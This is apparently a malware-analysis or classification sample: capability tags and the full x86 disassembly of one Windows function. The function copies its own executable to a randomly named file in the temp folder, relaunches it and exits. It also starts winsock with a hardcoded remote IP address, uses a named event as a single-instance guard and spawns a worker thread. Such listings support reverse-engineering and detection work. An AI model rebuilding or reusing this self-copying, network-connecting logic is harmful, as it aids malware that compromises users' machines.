Function at 0x40127c
Capabilities:
Copy file
Create process on windows
Create thread
Get common file path
Initialize winsock library
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7f0
mov eax, dword [0x422044]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
xor esi, esi
push esi
push eax
push esi
push esi
push esi
mov dword [0x424778], eax
mov eax, connect
push eax
push esi
push eax
push 0xcf0000
push 0x4246b0
push 0x4245e8
push esi
call dword [sym.imp.USER32.dll_CreateWindowExW]
test eax, eax
jne 0x4012ca
xor eax, eax
jmp 0x401525
mov edi, 0x206
push edi
lea eax, [ebp - 0x65a]
push esi
push eax
mov word [ebp - 0x65c], si
call fcn.00408c60
add esp, 0xc
push edi
lea eax, [ebp - 0x24a]
push esi
push eax
mov word [ebp - 0x24c], si
call fcn.00408c60
add esp, 0xc
push edi
lea eax, [ebp - 0x452]
push esi
push eax
mov word [ebp - 0x454], si
call fcn.00408c60
add esp, 0xc
push 0x104
lea eax, [ebp - 0x65c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ebx, 0x41dc20
push ebx
push 0x4251b8
call fcn.00408d50
test eax, eax
pop ecx
pop ecx
je 0x4013e7
add edi, 2
push edi
lea eax, [ebp - 0x24c]
push esi
push eax
call fcn.00408c60
add esp, 0xc
lea eax, [ebp - 0x24c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push edi
lea eax, [ebp - 0x454]
push esi
push eax
call fcn.00408c60
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.00408dfc
pop ecx
lea eax, [ebp - 0x454]
push eax
push 7
push 6
call fcn.0040288d
add esp, 0xc
lea eax, [ebp - 0x454]
push eax
lea eax, [ebp - 0x24c]
push eax
push 0x41dc44
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push esi
lea eax, [ebp - 0x24c]
push eax
lea eax, [ebp - 0x65c]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 1
push esi
push ebx
lea eax, [ebp - 0x24c]
push eax
push esi
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea eax, [ebp - 0x7ec]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 1
mov edi, 0x424f38
call fcn.00408a9b
test eax, eax
pop ecx
jne 0x4014aa
push 0x3a
lea eax, [ebp - 0x42]
push esi
push eax
mov word [ebp - 0x44], si
call fcn.00408c60
add esp, 0xc
lea ebx, [ebp - 0x44]
call fcn.00401000
mov eax, ebx
push eax
push 0x4250e0
call fcn.00408d34
push str.218.54.31.165
push 0x40
push 0x424f3c
call fcn.00409195
add esp, 0x14
push str.AAAA
push 0x10
push 0x424fbe
mov word [0x424fbc], 0x51
call fcn.00409195
add esp, 0xc
push 0x41dc80
push 0x40
push 0x424fde
call fcn.00409195
add esp, 0xc
mov eax, ebx
push eax
mov edi, 0x4250c0
push edi
mov word [0x42505e], 0x2b66
call fcn.00408d34
push 0x41dc9c
push edi
call fcn.00408d0a
add esp, 0x10
mov dword [0x425100], 5
call fcn.00401698
lea ebx, [ebp - 0x454]
call fcn.00401000
mov eax, ebx
push eax
mov edi, 0x425138
push edi
call fcn.00408d34
pop ecx
pop ecx
push edi
push esi
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
cmp eax, esi
je 0x4014e7
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4012c3
push edi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateEventW]
test eax, eax
je 0x4012c3
mov ecx, 0x4255d0
call fcn.00402276
mov eax, dword [0x425104]
push esi
push esi
push esi
push 0x40160f
push esi
push esi
mov dword [0x4255d8], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x423638], eax
xor eax, eax
inc eax
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00408c4c
leave
ret